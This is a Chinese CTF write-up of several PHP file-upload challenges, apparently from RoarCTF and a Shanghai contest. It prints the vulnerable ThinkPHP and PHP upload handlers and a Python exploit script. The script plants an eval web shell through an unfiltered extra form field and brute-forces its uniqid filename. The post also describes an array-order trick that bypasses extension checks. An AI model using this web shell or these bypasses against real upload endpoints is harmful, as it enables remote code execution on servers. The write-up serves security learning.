Fork me on GitHub

roarctf一道文件上传题目的分析

simpleupload

这题苏师傅做出来了,但是我对着苏师傅简陋的wp没复现出来。桑心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

我还是需要一张文件上传的思维图

一个想帮你总结所有上传类型的靶场

上传漏洞解析脑图

题目分析

thinkphp框架,获取到上传的文件$_FILES['file']之后,实例化一个类Upload(),问题显然是出现在这个类上的

然而我最大的问题是,找不到上传的接口!!!

这就涉及到thinkphp的路由是怎么搞得,thinkphp是单入口的框架,入口点在public/index.php,之后是按照模块控制器方法来进行路由的。

但是这里的命名空间Home\Controller,并不是以往熟悉的app\index\Controller

所以这里应该是一个单一模块的,也就是说上传接口在http://index.php/Home/index/upload(这里就不是很明白了,明明这个Controller是叫IndexController

1571568323600

这题虽然是限制了不能以.php结尾,但是仔细查看才知道只是限制了$_FILES['file'],这个file只是在表单中设置的一个变量。

查看thinkphp的源码可以看到。这个upload方法直接就能上传所有的文件了

这样我们的利用思路就有了:

上传一个file的文件能够获得文件名,同时上传一个file1的文件,这个文件也会被上传但是我们不知道它的文件名

这时候爆破就好了

thinkphp3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。

对这里还需要知道thinkphp的版本

1571569146514

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = "http://cf063512-b68d-41ff-a3c1-405b73e0d84f.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
print r.content
t1 = int(t1, 16)
print t1

j = t1
while True:
path = url + "/Public/Uploads/2019-10-20/%s.php" % hex(j)[2:-1]
try:
r = requests.get(path, timeout=1)
except:
continue
if r.status_code != 404:
print path
print r.text
break
print j, hex(j)[2:-1], r.status_code
j -= 1

1571568818720

总结

这题确实学到了很多东西,对于文件上传还不是很熟悉,那个$_FILES数组,还有前后端是怎么交互的弄清楚了就好做了

文件上传类型简要分析

h4lo师傅写的文章感觉总结的很到位

分析文件上传时候的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="text"

title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="file"; filename="chrome.png"

Content-Type: image/png

PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

boundary是一个字符串,用来切分数据。每个字段之间使用 ———WebKitFormBoundaryxxx 隔开

这里就和 post 请求一样,可以自己增加参数,就形如下面这样,将参数名放到 name 里,参数值放到下面:

1
2
3
4
------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name="filename"

1.php

那么这里就增加了一个参数 filename = ‘1.php’

前后端的交互就是通过这个name进行的,也就是说后端会用$_FILES[filename]这个数组,注意$_FILES是一个二维数组,去获取这个文件的文件名,大小之类的信息。

这里有两个文件名,一个是上传的name,另一个是$_FIlES[filename]

简单地绕过

前端js这个不用说

也有通过MIME来校验的,

1571569569299

wafupload

简要分析一下这道题,前端可以通过表单上传文件,同时你可以自定义文件名(不过有啥用呢?)

因为后端会同时去判断你有没有自定义文件名

$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];

白名单检测只能是'image/jpeg', 'image/png', 'image/gif',文件后缀也只能是'jpg', 'png', 'gif'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
#$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
$sandbox = '';

#@mkdir($sandbox);
#@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}else{
echo "pass 1n";
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}else{
echo "pass 2n";
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

看似做的天衣无缝了,也确实考虑到了数组的情况:

1
2
3
4
5
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}else{
echo "pass 2n";
}

之后通古end函数去取出文件的后缀名

但是end函数有一个问题

end 函数取到的是给数组的最后一次赋值的那个值,继续尝试会发现 reset 函数也是一样,第一个给数组赋值的值就是 reset 函数返回的值

会根据赋值先后顺序该表值,可以去调试一下

1571571364088

这里的 end 函数取到了第二个给数组赋值的值,也就是 filename[0] ,reset 函数的值为 filename[1]。这边构造

1
2
filename[1] = php
filename[0] = png

在后面拼接 $filename 时候,再一次拼接到后缀名,即

1
$filename = reset($file) . '.' . $file[count($file) - 1];

这里的

1
$file[count($file) - 1]

一定是取到 filename[1],所以上面给 filename[1] 赋值为 php 的意义就在这里。

上海网安赛 web3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
//$dir=md5("icq");
//$sandbox = '/sandbox/' . $dir;
//@mkdir($sandbox);
//@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
var_dump($ext);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
var_dump($filename);
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
?>

<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>